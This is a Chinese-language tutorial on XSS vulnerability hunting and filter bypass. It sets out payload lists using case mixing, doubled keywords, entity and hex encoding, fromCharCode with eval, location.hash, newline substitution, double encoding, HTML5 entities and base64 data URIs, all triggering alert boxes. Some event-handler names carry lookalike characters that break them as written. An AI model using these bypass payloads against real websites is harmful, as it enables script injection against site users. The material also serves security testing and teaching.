前言
在开始之前,我们先说一说XSS漏洞挖掘思路流程:
思路流程:
1、查找输入点与输出点的位置:
输入点好找,一般都是URL当中的参数,或者表单内容项等,而输出点一般有以下常见的几种情形:
- 输出在标签之间,例如:<script>输出</script>
- 输出在属性之中,例如:<input value="输出" name="keyword">
- 输出在注释之中,例如://document.getElementById("order_select").value="输出"
2、判断过滤机制过滤了什么内容,例如:关键词(select、alert....)、<、>、"、'等等
3、根据过滤机制构造XSS payload,在构造过程当中应考虑到大小写、HTML实体编码、二次编码、宽字节、反斜线、换行 符、重写关键字、tab键、空格的使用等技巧
下面我们开始讲解在XSS测试当中常见的几种情形以及常用的绕过技巧。
情形 & 绕过技巧
情形1:对传入的参数未经过任何过滤直接输出
在这种情况下我们只需要构造常见的xss payload即可实现xss攻击,例如:
<script>alert(/1/);</script>
<svg/οnlοad=alert(/1/);>
<img src=# οnerrοr="alert(/1/);">
<img src=# οnerrοr="javascript:alert(/1/)">
<a href=# οnmοuseοver=alert(/1/)>test xss</a>
<a href="javascript:alert(/test/)">link</a>
<iframe/οnlοad=alert(/1/);></iframe>
情形2:<script>被过滤
a、采用大小写绕过(这种仅限于未先转换为小写,而直接替换关键字的情形)
<Script>alert(1);</scRipt>
<img sRc=# onError=alErt(1)></img>
<a href=# onMouseover=Alert(1)></a>
b、双写关键词绕过(这一种仅限于将关键字替换为空的情形,而且仅仅替换一次的情形)
<scriscriptpt>alert(/1/);</scscriptript>
<img src=# onerronerroror=alert(1)></img>
c、利用HTML实体编码或十六进制绕过
HTML实体字符:
<script>alert(/1/);</script> <script>alert(/1/);</script>
实体编码对照表:http://www.asciim.cn/
在线辅助工具:https://www.qqxiuzi.cn/bianma/zifushiti.php
十六进制:
<img src=x οnerrοr=alert(/1/);><img>
<img src=x οnerrοr= alert(/1/);></img>
在线辅助编码工具:https://evilcos.me/lab/xssor/
十进制
<img src=x οnerrοr=alert(/1/);><img>
<img src=x οnerrοr=alert(/1/); ></img>
在线辅助编码工具:https://evilcos.me/lab/xssor/
情形3:过滤了引号
a、使用“/”替换引号
<script>alert(/1/);</script>
<svg/οnlοad=alert(/1/);>
<iframe/οnlοad=alert(/1/);></iframe>
<img src=# οnerrοr=alert(/1/);>
b、使用String.fromCharCode
fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用,例如:
<script>alert(‘insight-labs’)</script> —–> <script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>
c、location.hash
将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制
<script>eval(location.hash.slice(1))</script>#alert(‘a’)
情形4:过滤了空格
这种情形可以使用%0d(回车)、%0a(换行)进行替换
<img src=1 οnerrοr=alert(/1/);> <img%0dsrc=1%0dοnerrοr=alert(/1/);>
技巧拓展
1、二次编码
原来的代码: ’alert(1)’
初步使用HTML字符实体转换成十六进制为: 'alert(1) '
思路拓展(活生生的套路):
对&#进行url的编码,二次转换之后代码变成: %26%23x27alert(1)%26%23x27
2、HTML5姿势
&colon:含义是冒号(:)
&NewLine:含义是回车(Enter)
原代码如下: <a href=javascript:alert(1)>test</a>
通过拓展的HTML5姿势尝试 变成如下所示:
<a href=javasc
ript:alert(1)>test<a>
3、base64拓展
<a href=”可控点”>
<iframe src=”可控点”>
在这种情况下如果过滤了<>,’,”,javascript的话使用base64姿势绕过
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>